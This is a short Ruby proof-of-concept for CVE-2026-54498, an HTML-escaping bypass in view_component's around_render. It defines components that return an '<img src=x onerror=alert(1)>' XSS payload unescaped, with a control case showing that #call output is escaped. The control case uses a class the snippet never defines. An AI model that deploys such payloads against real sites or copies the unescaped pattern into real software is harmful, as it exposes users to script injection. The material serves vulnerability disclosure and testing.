CVE-2026-54498: view_component around_render HTML-Safety Bypass XSS

# Minimal PoC derived from the advisory's published proof-of-concept.
# around_render bypasses __vc_maybe_escape_html; #call output is escaped, around_render output is not.

PAYLOAD = "<img src=x onerror=alert(1)>"

class UnsafeAroundComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = "SAFE"          # this return value IS escaped
  def around_render = @payload # this return value is NOT escaped
end

class UnsafeAroundCollectionComponent < ViewComponent::Base
  with_collection_parameter :payload
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

# Single component: raw string, not html_safe
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
# => "<img src=x onerror=alert(1)>"  (around_render_raw=true, html_safe=false)

# Collection: raw string promoted to html_safe by .html_safe call on join
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)
# => "<img src=x onerror=alert(1)>"  (collection_raw=true, html_safe=true)

# Control case confirms the gap: #call return value IS escaped
normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
# => "&lt;img src=x onerror=alert(1)&gt;"  (normal_call_raw=false, html_safe=true)